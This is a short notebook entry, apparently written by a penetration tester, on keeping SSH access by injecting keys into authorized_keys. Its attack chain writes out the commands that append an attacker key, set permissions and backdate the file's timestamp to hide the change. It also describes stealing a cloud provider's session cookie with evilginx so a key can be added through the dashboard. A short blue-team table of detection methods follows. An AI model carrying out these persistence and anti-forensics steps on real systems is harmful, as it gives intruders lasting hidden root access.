SSH Key Persistence

authorized_keys injection — discovered organically S43 during VPS setup

The Attack — One Command

echo "ssh-ed25519 ATTACKER_KEY comment" >> ~/.ssh/authorized_keys

Silent. No password change. No new user. No service restart. Survives reboots, patches, and password resets.

Why Hard to Detect

auth.log shows "Accepted publickey" on login but not when or how the key was added. No OS-level log records a write to authorized_keys unless auditd is configured explicitly for that path.

VPS Control Panel Variant

VPS providers (Njalla, DigitalOcean, Hetzner, Vultr, AWS) allow adding SSH keys via the management dashboard. Key is injected via cloud-init — bypassing OS authentication entirely. Steal the provider account session cookie (evilginx), add key via dashboard, SSH as root. OS has no record of how the key arrived.

Full Attack Chain

# After any foothold:
mkdir -p ~/.ssh
chmod 700 ~/.ssh
echo "ssh-ed25519 ATTACKER_KEY" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# Cover timestamps:
touch -r /etc/passwd ~/.ssh/authorized_keys

Blue Team Detection

Method	What it catches
auditd — watch authorized_keys for writes	Any write to the file in real time
Baseline keys at provisioning, diff on schedule	Unauthorized additions
Cloud provider audit logs	Control panel key injections
chattr +i ~/.ssh/authorized_keys	Prevents any write — immutable
SIEM: SSH login from unknown key fingerprint	Post-injection login attempt